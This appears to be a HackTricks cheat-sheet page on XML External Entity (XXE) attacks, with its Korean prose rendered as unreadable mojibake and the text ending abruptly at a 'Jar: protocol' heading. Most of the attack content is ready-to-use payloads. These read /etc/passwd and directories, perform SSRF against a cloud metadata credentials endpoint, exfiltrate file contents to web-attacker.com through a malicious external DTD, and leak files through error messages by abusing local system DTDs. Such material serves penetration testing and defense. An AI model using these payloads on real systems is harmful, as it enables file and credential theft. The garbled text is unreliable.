XXE - XEE - XML External Entity
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
XML Basics
XML์ ๋ฐ์ดํฐ ์ ์ฅ ๋ฐ ์ ์ก์ ์ํด ์ค๊ณ๋ ๋งํฌ์ ์ธ์ด๋ก, ์ค๋ช ์ ์ผ๋ก ๋ช ๋ช ๋ ํ๊ทธ๋ฅผ ์ฌ์ฉํ ์ ์๋ ์ ์ฐํ ๊ตฌ์กฐ๋ฅผ ํน์ง์ผ๋ก ํฉ๋๋ค. XML์ ๋ฏธ๋ฆฌ ์ ์๋ ํ๊ทธ ์งํฉ์ ์ ํ๋์ง ์๊ธฐ ๋๋ฌธ์ HTML๊ณผ ๋ค๋ฆ ๋๋ค. JSON์ ๋ถ์์ผ๋ก XML์ ์ค์์ฑ์ ๊ฐ์ํ์ง๋ง, ์ด๊ธฐ AJAX ๊ธฐ์ ์์์ ์ญํ ์ ์ฌ์ ํ ์ค์ํฉ๋๋ค.
- ๋ฐ์ดํฐ ํํ์ ์ํ ์ํฐํฐ: XML์ ์ํฐํฐ๋
<๋ฐ>์ ๊ฐ์ ํน์ ๋ฌธ์๋ฅผ ํฌํจํ ๋ฐ์ดํฐ ํํ์ ๊ฐ๋ฅํ๊ฒ ํ๋ฉฐ, ์ด๋ XML์ ํ๊ทธ ์์คํ ๊ณผ์ ์ถฉ๋์ ํผํ๊ธฐ ์ํด<๋ฐ>์ ํด๋นํฉ๋๋ค. - XML ์์ ์ ์: XML์ ์์ ์ ํ์ ์ ์ํ ์ ์๊ฒ ํ์ฌ ์์๊ฐ ์ด๋ป๊ฒ ๊ตฌ์กฐํ๋์ด์ผ ํ๊ณ ์ด๋ค ๋ด์ฉ์ ํฌํจํ ์ ์๋์ง๋ฅผ ์ค๋ช ํฉ๋๋ค. ์ด๋ ๋ชจ๋ ์ ํ์ ์ฝํ ์ธ ์์ ํน์ ์์ ์์์ ์ด๋ฅด๊ธฐ๊น์ง ๋ค์ํฉ๋๋ค.
- ๋ฌธ์ ์ ํ ์ ์ (DTD): DTD๋ XML์์ ๋ฌธ์์ ๊ตฌ์กฐ์ ํฌํจํ ์ ์๋ ๋ฐ์ดํฐ ์ ํ์ ์ ์ํ๋ ๋ฐ ์ค์ํฉ๋๋ค. DTD๋ ๋ด๋ถ, ์ธ๋ถ ๋๋ ์กฐํฉ์ผ๋ก ์กด์ฌํ ์ ์์ผ๋ฉฐ, ๋ฌธ์์ ํ์๊ณผ ์ ํจ์ฑ์ ์๋ดํฉ๋๋ค.
- ์ฌ์ฉ์ ์ ์ ๋ฐ ์ธ๋ถ ์ํฐํฐ: XML์ ์ ์ฐํ ๋ฐ์ดํฐ ํํ์ ์ํด DTD ๋ด์์ ์ฌ์ฉ์ ์ ์ ์ํฐํฐ ์์ฑ์ ์ง์ํฉ๋๋ค. URL๋ก ์ ์๋ ์ธ๋ถ ์ํฐํฐ๋ XML ์ธ๋ถ ์ํฐํฐ(XXE) ๊ณต๊ฒฉ์ ๋งฅ๋ฝ์์ ๋ณด์ ๋ฌธ์ ๋ฅผ ์ผ์ผํค๋ฉฐ, ์ด๋ XML ํ์๊ฐ ์ธ๋ถ ๋ฐ์ดํฐ ์์ค๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ์
์ฉํฉ๋๋ค:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]> - ๋งค๊ฐ๋ณ์ ์ํฐํฐ๋ฅผ ํตํ XXE ํ์ง: XXE ์ทจ์ฝ์ ์ ํ์งํ๊ธฐ ์ํด, ํนํ ํ์ ๋ณด์ ์กฐ์น๋ก ์ธํด ๊ธฐ์กด ๋ฐฉ๋ฒ์ด ์คํจํ ๋ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ๋ฅผ ํ์ฉํ ์ ์์ต๋๋ค. ์ด๋ฌํ ์ํฐํฐ๋ DNS ์กฐํ ๋๋ ์ ์ด๋ ๋๋ฉ์ธ์ ๋ํ HTTP ์์ฒญ์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฑ์ ๋น๋๋ฉด ํ์ง ๊ธฐ์ ์ ํ์ฉํ์ฌ ์ทจ์ฝ์ฑ์ ํ์ธํฉ๋๋ค.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]><!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
Main attacks
New Entity test
์ด ๊ณต๊ฒฉ์์๋ ๊ฐ๋จํ ์๋ก์ด ENTITY ์ ์ธ์ด ์๋ํ๋์ง ํ ์คํธํ ๊ฒ์ ๋๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
.png)
ํ์ผ ์ฝ๊ธฐ
๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก /etc/passwd๋ฅผ ์ฝ์ด๋ณด๊ฒ ์ต๋๋ค. Windows์ ๊ฒฝ์ฐ C:\windows\system32\drivers\etc\hosts๋ฅผ ์ฝ์ด๋ณด์ธ์.
์ฒซ ๋ฒ์งธ ๊ฒฝ์ฐ์์ SYSTEM โ**file:///**etc/passwdโ๋ ์๋ํ๋ค๋ ์ ์ ์ ์ํ์ธ์.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
.png)
์ด ๋ ๋ฒ์งธ ์ฌ๋ก๋ ์น ์๋ฒ๊ฐ PHP๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ํ์ผ์ ์ถ์ถํ๋ ๋ฐ ์ ์ฉํด์ผ ํฉ๋๋ค (Portswiggers ์คํ์ค์ ๊ฒฝ์ฐ๋ ์๋).
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
์ด ์ธ ๋ฒ์งธ ๊ฒฝ์ฐ์์ ์ฐ๋ฆฌ๋ Element stockCheck๋ฅผ ANY๋ก ์ ์ธํ๊ณ ์์์ ์ฃผ๋ชฉํ์ธ์.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
.png)
๋๋ ํ ๋ฆฌ ๋ชฉ๋ก
Java ๊ธฐ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์์๋ XXE๋ฅผ ํตํด ๋๋ ํ ๋ฆฌ์ ๋ด์ฉ์ ๋์ดํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ด ์์ผ๋ฉฐ, ๋ค์๊ณผ ๊ฐ์ ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค (ํ์ผ ๋์ ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฒญํ๋ ๊ฒฝ์ฐ):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
XXE๋ ํด๋ผ์ฐ๋ ๋ด์์ SSRF๋ฅผ ์ ์ฉํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
์ด์ ์ ์ธ๊ธ๋ ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ ์๋ฒ๊ฐ ๋น์ ์ด ์ ์ดํ๋ ์๋ฒ์ ์ ๊ทผํ๊ฒ ํ์ฌ ์ทจ์ฝ์ฑ์ ๋ณด์ฌ์ค ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋, ๋ง์ฝ ๊ทธ๊ฒ์ด ์๋ํ์ง ์๋๋ค๋ฉด, XML ์ํฐํฐ๊ฐ ํ์ฉ๋์ง ์๊ธฐ ๋๋ฌธ์ผ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ XML ํ๋ผ๋ฏธํฐ ์ํฐํฐ๋ฅผ ์ฌ์ฉํด ๋ณผ ์ ์์ต๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
โBlindโ SSRF - Exfiltrate data out-of-band
์ด๋ฒ ๊ฒฝ์ฐ์๋ ์๋ฒ๊ฐ ์ ์ฑ ํ์ด๋ก๋๊ฐ ํฌํจ๋ ์๋ก์ด DTD๋ฅผ ๋ก๋ํ๋๋ก ํ์ฌ ํ์ผ์ ๋ด์ฉ์ HTTP ์์ฒญ์ ํตํด ์ ์กํ๊ฒ ํ ๊ฒ์ ๋๋ค (๋ค์ค ํ ํ์ผ์ ๊ฒฝ์ฐ _ftp://_๋ฅผ ํตํด ์ ์ก์ ์๋ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ์ด ๊ธฐ๋ณธ ์๋ฒ xxe-ftp-server.rb๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค). ์ด ์ค๋ช ์ Portswiggers lab here๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
์ฃผ์ด์ง ์ ์ฑ DTD์์๋ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๊ธฐ ์ํด ์ผ๋ จ์ ๋จ๊ณ๊ฐ ์ํ๋ฉ๋๋ค:
Malicious DTD Example:
๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
์ด DTD์ ์ํด ์คํ๋๋ ๋จ๊ณ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๋งค๊ฐ๋ณ์ ์ํฐํฐ ์ ์:
- XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ์ธ
%file์ด ์์ฑ๋์ด/etc/hostnameํ์ผ์ ๋ด์ฉ์ ์ฝ์ต๋๋ค. - ๋ ๋ค๋ฅธ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ์ธ
%eval์ด ์ ์๋ฉ๋๋ค. ์ด๋ ๋์ ์ผ๋ก ์๋ก์ด XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ์ธ%exfiltrate๋ฅผ ์ ์ธํฉ๋๋ค.%exfiltrate์ํฐํฐ๋ ๊ณต๊ฒฉ์์ ์๋ฒ์ HTTP ์์ฒญ์ ํ๋๋ก ์ค์ ๋๋ฉฐ, URL์ ์ฟผ๋ฆฌ ๋ฌธ์์ด ๋ด์์%file์ํฐํฐ์ ๋ด์ฉ์ ์ ๋ฌํฉ๋๋ค.
- ์ํฐํฐ ์คํ:
%eval์ํฐํฐ๊ฐ ์ฌ์ฉ๋์ด%exfiltrate์ํฐํฐ์ ๋์ ์ ์ธ์ด ์คํ๋ฉ๋๋ค.- ๊ทธ ํ
%exfiltrate์ํฐํฐ๊ฐ ์ฌ์ฉ๋์ด ํ์ผ์ ๋ด์ฉ์ ํฌํจํ HTTP ์์ฒญ์ด ์ง์ ๋ URL๋ก ์ ์ก๋ฉ๋๋ค.
๊ณต๊ฒฉ์๋ ์ด ์
์ฑ DTD๋ฅผ ์์ ์ด ์ ์ดํ๋ ์๋ฒ์ ํธ์คํ
ํ๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก http://web-attacker.com/malicious.dtd์ ๊ฐ์ URL์์ ํธ์คํ
ํฉ๋๋ค.
XXE ํ์ด๋ก๋: ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ์ฉํ๊ธฐ ์ํด ๊ณต๊ฒฉ์๋ XXE ํ์ด๋ก๋๋ฅผ ์ ์กํฉ๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
์ด ํ์ด๋ก๋๋ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ %xxe๋ฅผ ์ ์ํ๊ณ ์ด๋ฅผ DTD์ ํตํฉํฉ๋๋ค. XML ํ์์ ์ํด ์ฒ๋ฆฌ๋ ๋, ์ด ํ์ด๋ก๋๋ ๊ณต๊ฒฉ์์ ์๋ฒ์์ ์ธ๋ถ DTD๋ฅผ ๊ฐ์ ธ์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ ํ์๋ DTD๋ฅผ ์ธ๋ผ์ธ์ผ๋ก ํด์ํ๊ณ , ์
์์ ์ธ DTD์ ์ค๋ช
๋ ๋จ๊ณ๋ฅผ ์คํํ์ฌ /etc/hostname ํ์ผ์ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์ ์ถํฉ๋๋ค.
์ค๋ฅ ๊ธฐ๋ฐ(์ธ๋ถ DTD)
์ด ๊ฒฝ์ฐ, ์๋ฒ๊ฐ ์ค๋ฅ ๋ฉ์์ง ๋ด์์ ํ์ผ์ ๋ด์ฉ์ ํ์ํ๋ ์ ์์ ์ธ DTD๋ฅผ ๋ก๋ํ๋๋ก ๋ง๋ค ๊ฒ์ ๋๋ค(์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ณผ ์ ์๋ ๊ฒฝ์ฐ์๋ง ์ ํจํฉ๋๋ค). ์ฌ๊ธฐ์ ์์.
์
์์ ์ธ ์ธ๋ถ ๋ฌธ์ ์ ํ ์ ์(DTD)๋ฅผ ์ฌ์ฉํ์ฌ /etc/passwd ํ์ผ์ ๋ด์ฉ์ ๋๋ฌ๋ด๋ XML ํ์ฑ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํธ๋ฆฌ๊ฑฐํ ์ ์์ต๋๋ค. ์ด๋ ๋ค์ ๋จ๊ณ๋ก ์ํ๋ฉ๋๋ค:
/etc/passwdํ์ผ์ ๋ด์ฉ์ ํฌํจํ๋file์ด๋ผ๋ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ๊ฐ ์ ์๋ฉ๋๋ค.error๋ผ๋ ๋ ๋ค๋ฅธ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ์ ๋ํ ๋์ ์ ์ธ์ ํฌํจํ๋eval์ด๋ผ๋ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ๊ฐ ์ ์๋ฉ๋๋ค. ์ดerror์ํฐํฐ๋ ํ๊ฐ๋ ๋ ์กด์ฌํ์ง ์๋ ํ์ผ์ ๋ก๋ํ๋ ค๊ณ ์๋ํ๋ฉฐ,file์ํฐํฐ์ ๋ด์ฉ์ ์ด๋ฆ์ผ๋ก ํฌํจํฉ๋๋ค.eval์ํฐํฐ๊ฐ ํธ์ถ๋์ดerror์ํฐํฐ์ ๋์ ์ ์ธ์ด ์ด๋ฃจ์ด์ง๋๋ค.error์ํฐํฐ์ ํธ์ถ์ ์กด์ฌํ์ง ์๋ ํ์ผ์ ๋ก๋ํ๋ ค๊ณ ์๋ํ์ฌ, ํ์ผ ์ด๋ฆ์ ์ผ๋ถ๋ก/etc/passwdํ์ผ์ ๋ด์ฉ์ ํฌํจํ๋ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ์์ฑํฉ๋๋ค.
์ ์์ ์ธ ์ธ๋ถ DTD๋ ๋ค์ XML๋ก ํธ์ถ๋ ์ ์์ต๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
์คํ ์, ์น ์๋ฒ์ ์๋ต์๋ /etc/passwd ํ์ผ์ ๋ด์ฉ์ ํ์ํ๋ ์ค๋ฅ ๋ฉ์์ง๊ฐ ํฌํจ๋์ด์ผ ํฉ๋๋ค.
.png)
์ธ๋ถ DTD๋ ๋ ๋ฒ์งธ eval ๋ด์ ํ๋์ ์ํฐํฐ๋ฅผ ํฌํจํ ์ ์๋๋ก ํ์ฉํ์ง๋ง, ๋ด๋ถ DTD์์๋ ๊ธ์ง๋ฉ๋๋ค. ๋ฐ๋ผ์ ์ธ๋ถ DTD๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ๋ ์ค๋ฅ๋ฅผ ๊ฐ์ ํ ์ ์์ต๋๋ค(์ผ๋ฐ์ ์ผ๋ก).
์ค๋ฅ ๊ธฐ๋ฐ (์์คํ DTD)
๊ทธ๋ ๋ค๋ฉด ์์ ์ค๋ธ ๋ฐด๋ ์ํธ์์ฉ์ด ์ฐจ๋จ๋ ๊ฒฝ์ฐ ๋ธ๋ผ์ธ๋ XXE ์ทจ์ฝ์ ์ ์ด๋ป๊ฒ ๋ฉ๋๊น(์ธ๋ถ ์ฐ๊ฒฐ์ด ๋ถ๊ฐ๋ฅํ ๊ฒฝ์ฐ)?
XML ์ธ์ด ์ฌ์์ ํ์ ์ ๋ฌธ์์ DTD๊ฐ ๋ด๋ถ ๋ฐ ์ธ๋ถ ์ ์ธ์ ํผํฉํ ๋ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํตํด ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋ ธ์ถํ ์ ์์ต๋๋ค. ์ด ๋ฌธ์ ๋ ์ธ๋ถ์์ ์ ์ธ๋ ์ํฐํฐ์ ๋ด๋ถ ์ฌ์ ์๋ฅผ ํ์ฉํ์ฌ ์ค๋ฅ ๊ธฐ๋ฐ XXE ๊ณต๊ฒฉ์ ์คํ์ ์ฉ์ดํ๊ฒ ํฉ๋๋ค. ์ด๋ฌํ ๊ณต๊ฒฉ์ ์๋ ์ธ๋ถ DTD์์ ์ ์ธ๋ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ์ ์ฌ์ ์๋ฅผ ์ ์ฉํ์ฌ ๋ด๋ถ DTD ๋ด์์ ๋ฐ์ํฉ๋๋ค. ์๋ฒ์ ์ํด ์์ ์ค๋ธ ๋ฐด๋ ์ฐ๊ฒฐ์ด ์ฐจ๋จ๋๋ฉด ๊ณต๊ฒฉ์๋ ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ํด ๋ก์ปฌ DTD ํ์ผ์ ์์กดํด์ผ ํ๋ฉฐ, ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ๋๋ฌ๋ด๊ธฐ ์ํด ๊ตฌ๋ฌธ ์ค๋ฅ๋ฅผ ์ ๋ํ๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค.
์๋ฒ์ ํ์ผ ์์คํ
์ /usr/local/app/schema.dtd์ DTD ํ์ผ์ด ํฌํจ๋์ด ์๊ณ , custom_entity๋ผ๋ ์ํฐํฐ๋ฅผ ์ ์ํ๊ณ ์๋ค๊ณ ๊ฐ์ ํด ๋ณด์ญ์์ค. ๊ณต๊ฒฉ์๋ ๋ค์๊ณผ ๊ฐ์ด ํ์ด๋ธ๋ฆฌ๋ DTD๋ฅผ ์ ์ถํ์ฌ /etc/passwd ํ์ผ์ ๋ด์ฉ์ ๋๋ฌ๋ด๋ XML ๊ตฌ๋ฌธ ์ค๋ฅ๋ฅผ ์ ๋ํ ์ ์์ต๋๋ค:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
์ด DTD์ ์ํด ์ค๋ช ๋ ๋จ๊ณ๊ฐ ์คํ๋ฉ๋๋ค:
local_dtd๋ผ๋ XML ๋งค๊ฐ๋ณ์ ์ํฐํฐ์ ์ ์๋ ์๋ฒ์ ํ์ผ ์์คํ ์ ์์นํ ์ธ๋ถ DTD ํ์ผ์ ํฌํจํฉ๋๋ค.- ์ธ๋ถ DTD์์ ์๋ ์ ์๋
custom_entityXML ๋งค๊ฐ๋ณ์ ์ํฐํฐ์ ๋ํ ์ฌ์ ์๊ฐ ๋ฐ์ํ์ฌ ์ค๋ฅ ๊ธฐ๋ฐ XXE ์ต์คํ๋ก์์ ์บก์ํํฉ๋๋ค. ์ด ์ฌ์ ์๋ ๊ตฌ๋ฌธ ์ค๋ฅ๋ฅผ ์ ๋ฐํ๋๋ก ์ค๊ณ๋์ด/etc/passwdํ์ผ์ ๋ด์ฉ์ ๋ ธ์ถํฉ๋๋ค. local_dtd์ํฐํฐ๋ฅผ ์ฌ์ฉํ์ฌ ์ธ๋ถ DTD๊ฐ ํ์ฑํ๋๊ณ ์๋ก ์ ์๋custom_entity๋ฅผ ํฌํจํฉ๋๋ค. ์ด ์ผ๋ จ์ ์์ ์ ์ต์คํ๋ก์์ ์ํด ๋ชฉํ๋ก ํ๋ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ฐ์์ํต๋๋ค.
์ค์ ์: GNOME ๋ฐ์คํฌํ ํ๊ฒฝ์ ์ฌ์ฉํ๋ ์์คํ
์ ์ข
์ข
ISOamso๋ผ๋ ์ํฐํฐ๋ฅผ ํฌํจํ๋ DTD๋ฅผ /usr/share/yelp/dtd/docbookx.dtd์ ๊ฐ์ง๊ณ ์์ต๋๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
.png)
์ด ๊ธฐ์ ์ ๋ด๋ถ DTD๋ฅผ ์ฌ์ฉํ๋ฏ๋ก ๋จผ์ ์ ํจํ DTD๋ฅผ ์ฐพ์์ผ ํฉ๋๋ค. ์ด๋ฅผ ์ํด ์๋ฒ๊ฐ ์ฌ์ฉํ๋ ๋์ผํ OS / ์ํํธ์จ์ด๋ฅผ ์ค์นํ๊ณ ๊ธฐ๋ณธ DTD๋ฅผ ๊ฒ์ํ๊ฑฐ๋, ์์คํ ๋ด์ ๊ธฐ๋ณธ DTD ๋ชฉ๋ก์ ๊ฐ์ ธ์์ ๊ทธ ์ค ์ด๋ค ๊ฒ์ด ์กด์ฌํ๋์ง ํ์ธํ ์ ์์ต๋๋ค:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
๋ ๋ง์ ์ ๋ณด๋ https://portswigger.net/web-security/xxe/blind์์ ํ์ธํ์ธ์.
์์คํ ๋ด DTD ์ฐพ๊ธฐ
๋ค์์ ๋ฉ์ง GitHub ๋ ํฌ์งํ ๋ฆฌ์์ ์์คํ ์ ์กด์ฌํ ์ ์๋ DTD์ ๊ฒฝ๋ก๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค:
dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub
๊ฒ๋ค๊ฐ, ํผํด์ ์์คํ ์ Docker ์ด๋ฏธ์ง๊ฐ ์๋ค๋ฉด, ๊ฐ์ ๋ ํฌ์งํ ๋ฆฌ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฏธ์ง๋ฅผ ์ค์บํ๊ณ ์์คํ ๋ด์ ์กด์ฌํ๋ DTD์ ๊ฒฝ๋ก๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ๋ ค๋ฉด GitHub์ Readme๋ฅผ ์ฝ์ด๋ณด์ธ์.
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
์ด ๊ณต๊ฒฉ์ ๋ํ ๋ ๊น์ด ์๋ ์ค๋ช ์ Detectify์ ์ด ๋๋ผ์ด ํฌ์คํธ์ ๋ ๋ฒ์งธ ์น์ ์ ํ์ธํ์ธ์.
Microsoft Office ๋ฌธ์๋ฅผ ์ ๋ก๋ํ ์ ์๋ ๊ธฐ๋ฅ์ ๋ง์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ ๊ณต๋ฉ๋๋ค, ์ดํ ์ด ๋ฌธ์์์ ํน์ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ถ์ถํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉ์๊ฐ XLSX ํ์์ ์คํ๋ ๋์ํธ๋ฅผ ์ ๋ก๋ํ์ฌ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ค๋ ๊ฒ์ ํ์ฉํ ์ ์์ต๋๋ค. ํ์๊ฐ ์คํ๋ ๋์ํธ์์ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๊ธฐ ์ํด์๋ ๋ฐ๋์ ํ๋ ์ด์์ XML ํ์ผ์ ํ์ฑํด์ผ ํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ํ ์คํธํ๊ธฐ ์ํด์๋ XXE ํ์ด๋ก๋๋ฅผ ํฌํจํ๋ Microsoft Office ํ์ผ์ ์์ฑํด์ผ ํฉ๋๋ค. ์ฒซ ๋ฒ์งธ ๋จ๊ณ๋ ๋ฌธ์๋ฅผ ์์ถ ํด์ ํ ์ ์๋ ๋น ๋๋ ํ ๋ฆฌ๋ฅผ ๋ง๋๋ ๊ฒ์ ๋๋ค.
๋ฌธ์๊ฐ ์์ถ ํด์ ๋๋ฉด ./unzipped/word/document.xml์ ์์นํ XML ํ์ผ์ ์ ํธํ๋ ํ
์คํธ ํธ์ง๊ธฐ(์: vim)์์ ์ด๊ณ ํธ์งํด์ผ ํฉ๋๋ค. XML์ ์ํ๋ XXE ํ์ด๋ก๋๋ฅผ ํฌํจํ๋๋ก ์์ ๋์ด์ผ ํ๋ฉฐ, ์ข
์ข
HTTP ์์ฒญ์ผ๋ก ์์ํฉ๋๋ค.
์์ ๋ XML ๋ผ์ธ์ ๋ ๊ฐ์ ๋ฃจํธ XML ๊ฐ์ฒด ์ฌ์ด์ ์ฝ์ ๋์ด์ผ ํฉ๋๋ค. ์์ฒญ์ ๋ชจ๋ํฐ๋งํ ์ ์๋ URL๋ก URL์ ๊ต์ฒดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
๋ง์ง๋ง์ผ๋ก, ํ์ผ์ ์์ถํ์ฌ ์ ์ฑ poc.docx ํ์ผ์ ์์ฑํ ์ ์์ต๋๋ค. ์ด์ ์ ์์ฑํ โunzippedโ ๋๋ ํ ๋ฆฌ์์ ๋ค์ ๋ช ๋ น์ ์คํํด์ผ ํฉ๋๋ค:
์ด์ ์์ฑ๋ ํ์ผ์ ์ ์ฌ์ ์ผ๋ก ์ทจ์ฝํ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๋ก๋ํ ์ ์์ผ๋ฉฐ, Burp Collaborator ๋ก๊ทธ์ ์์ฒญ์ด ๋ํ๋๊ธฐ๋ฅผ ๊ธฐ๋ํ ์ ์์ต๋๋ค.
Jar: protocol
jar ํ๋กํ ์ฝ์ Java ์ ํ๋ฆฌ์ผ์ด์
